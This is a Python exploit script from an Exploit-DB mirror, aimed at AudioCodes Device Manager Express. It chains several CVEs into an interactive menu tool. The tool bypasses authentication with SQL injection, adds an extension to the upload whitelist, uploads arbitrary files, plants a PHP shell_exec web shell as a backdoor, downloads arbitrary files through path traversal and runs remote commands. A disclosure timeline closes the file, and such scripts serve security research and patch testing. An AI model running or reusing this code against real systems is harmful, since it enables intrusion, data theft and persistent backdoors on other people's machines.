exploit-db-mirror/exploits/php/webapps/51145.py

# Exploit Title: Device Manager Express 7.8.20002.47752 - Remote Code Execution (RCE)
# Date: 02-12-22
# Exploit Author: 0xEF
# Vendor Homepage: https://www.audiocodes.com
# Software Link: https://ln5.sync.com/dl/82774fdd0/jwqwt632-s65tncqu-iwrtm7g3-iidti637
# Version: <= 7.8.20002.47752
# Tested on: Windows 10 & Windows Server 2019
# Default credentials: admin/admin
# SQL injection + Path traversal + Remote Command Execution
# CVE: CVE-2022-24627, CVE-2022-24629, CVE-2022-24630, CVE-2022-24632

#!/usr/bin/python3

import requests
import sys
import time
import re
import colorama
from colorama import Fore, Style
import uuid

headers = {'Content-Type': 'application/x-www-form-urlencoded'}

def menu():
   print('-----------------------------------------------------------------------\n'
         'AudioCodes Device Manager Express                 45 78 70 6C 6F 69 74 \n'
         '-----------------------------------------------------------------------')

def optionlist(s,target):
  try:
   print('\nOptions: (Press any other key to quit)\n'
         '-----------------------------------------------------------------------\n'
         '1: Upload arbitrary file\n'
         '2: Download arbitrary file\n'
         '3: Execute command\n'
         '4: Add backdoor\n'
         '-----------------------------------------------------------------------')
   option = int(input('Select: '))
   if(option == 1):
     t = 'a'
     upload_file(s,target,t)
   elif(option == 2):
     download_file(s,target)
   elif(option == 3):
     execute(s,target)
   elif(option == 4):
     t = 'b'
     upload_file(s,target,t)
  except:
     sys.exit()


def bypass_auth(target):
   try:
      print(f'\nTrying to bypass authentication..\n')
      url = f'http://{target}/admin/AudioCodes_files/process_login.php'
      s = requests.Session()
      # CVE-2022-24627
      payload_list = ['\'or 1=1#','\\\'or 1=1#','admin']
      for payload in payload_list:
         body = {'username':'admin','password':'','domain':'','p':payload}
         r = s.post(url, data = body)
      if('Configuration' in r.text):
         print(f'{Fore.GREEN}(+) Authenticated as Administrator on: {target}{Style.RESET_ALL}')
         time.sleep(1)
         return(s)
      else:
         print(f'{Fore.RED}(-) Computer says no, can\'t login, try again..{Style.RESET_ALL}')
         main()
   except:
      sys.exit()

def upload_file(s,target,t):
   try:
     url = f'http://{target}/admin/AudioCodes_files/BrowseFiles.php?type='
     param = uuid.uuid4().hex
     file = input('\nEnter file name: ')
     # read extension
     ext = file.rsplit( ".", 1 )[ 1 ]
     if (t=='b'):
        # remove extension
        file = file.rsplit( ".", 1 )[ 0 ] + '.php'
        ext = 'php'
     patch = '1'
     if(file != ''):
       if(patch_ext(s,target,patch,ext)):
          # CVE-2022-24629
          print(f'{Fore.GREEN}(+) Success{Style.RESET_ALL}')
          if(t=='a'):
            dest = input('\nEnter destination location (ex. c:\): ')
            print(f'\nUploading file to {target}: {dest}{file}')
            files = {'myfile': (file, open(file,'rb'), 'text/html')}
            body = {'dir': f'{dest}', 'type': '', 'Submit': 'Upload'}
            r = s.post(url, files=files, data=body)
            print(f'{Fore.GREEN}(+) Done{Style.RESET_ALL}')
          if(t=='b'):
            shell = f'<?php echo shell_exec($_GET[\'{param}\']); ?>'
            files = {f'myfile': (file, shell, 'text/html')}
            body = {'dir': 'C:/audiocodes/express/WebAdmin/region/', 'type': '', 'Submit': 'Upload'}
            r = s.post(url, files=files, data=body)
            print(f'\nBackdoor location:')
            print(f'{Fore.GREEN}(+) http://{target}/region/{file}?{param}=dir{Style.RESET_ALL}')
          patch = '2'
          time.sleep(1)
          patch_ext(s,target,patch,ext)
       else:
          print(f'{Fore.RED}(-) Could not whitelist extension {ext}.. Try something else\n{Style.RESET_ALL}')
   except:
       print(f'{Fore.RED}(-) Computer says no..{Style.RESET_ALL}')
       patch = '2'
       patch_ext(s,target,patch,ext)

def download_file(s,target):
   # CVE-2022-24632
   try:
     file = input('\nFull path to file, eg. c:\\windows\win.ini: ')
     if(file != ''):
         url = f'http://{target}/admin/AudioCodes_files/BrowseFiles.php?view={file}'
         r = s.get(url)
         if (len(r.content) > 0):
           print(f'{Fore.GREEN}\n(+) File {file} downloaded\n{Style.RESET_ALL}')
           file = str(file).split('\\')[-1:][0]
           open(file, 'wb').write(r.content)
         else:
           print(f'{Fore.RED}\n(-) File not found..\n{Style.RESET_ALL}')
     else:
       print(f'{Fore.RED}\n(-) Computer says no..\n{Style.RESET_ALL}')
   except:
      sys.exit()

def execute(s,target):
   try:
     while True:
      # CVE-2022-24631
      command = input('\nEnter a command: ')
      if(command == ''):
        optionlist(s,target)
        break
      print(f'{Fore.GREEN}(+) Executing: {command}{Style.RESET_ALL}')
      body = 'ssh_command='+ command
      url = f'http://{target}/admin/AudioCodes_files/BrowseFiles.php?cmd=ssh'
      r = s.post(url, data = body, headers=headers)
      print('-----------------------------------------------------------------------')
      time.sleep(1)
      print((", ".join(re.findall(r'</form>(.+?)</section>',str(r.content)))).replace('\\r\\n', '').replace('</div>', '').replace('<div>', '').replace('</DIV>', '').replace('<DIV>', '').replace('<br/>', '').lstrip())
      print('-----------------------------------------------------------------------')
   except:
      sys.exit()

def patch_ext(s,target,opt,ext):
   try:
     if(opt == '1'):
       print('\nTrying to add extension to whitelist..')
       body = {'action':'saveext','extensions':f'.cab,.cfg,.csv,.id,.img,.{ext},.zip'}
     if(opt == '2'):
       print('\nCleaning up..')
       body = {'action':'saveext','extensions':'.cab,.cfg,.csv,.id,.img,.zip'}
       print(f'{Fore.GREEN}(+) {ext.upper()} extension removed\n{Style.RESET_ALL}')
     url = f'http://{target}/admin/AudioCodes_files/ajax/ajaxGlobalSettings.php'
     r = s.post(url, data = body, headers=headers)
     time.sleep(1)
     if(f'{ext}' in r.text):
        return True
   except:
      sys.exit()

def main():
   if len(sys.argv) != 2:
      print(' Usage: ' + sys.argv[0] + ' <target IP>')
      print(' Example: ' + sys.argv[0] + ' 172.16.86.154')
      sys.exit(1)

   target = sys.argv[1]
   menu()
   s = bypass_auth(target)
   if(s):
     optionlist(s,target)

if __name__ == '__main__':
    main()

# Timeline
# 11-11-2021 Vulnerabilities discovered
# 12-11-2021 PoC written
# 15-11-2021 Details shared with vendor
# 02-12-2021 Vendor confirmed vulnerabilities
# 03-12-2021 CVE's requested
# 09-12-2021 Vendor replied with solution and notified customers
# 07-02-2022 Product EOL announced
# 10-03-2022 CVE's assigned
# 02-12-2022 Disclosure of findings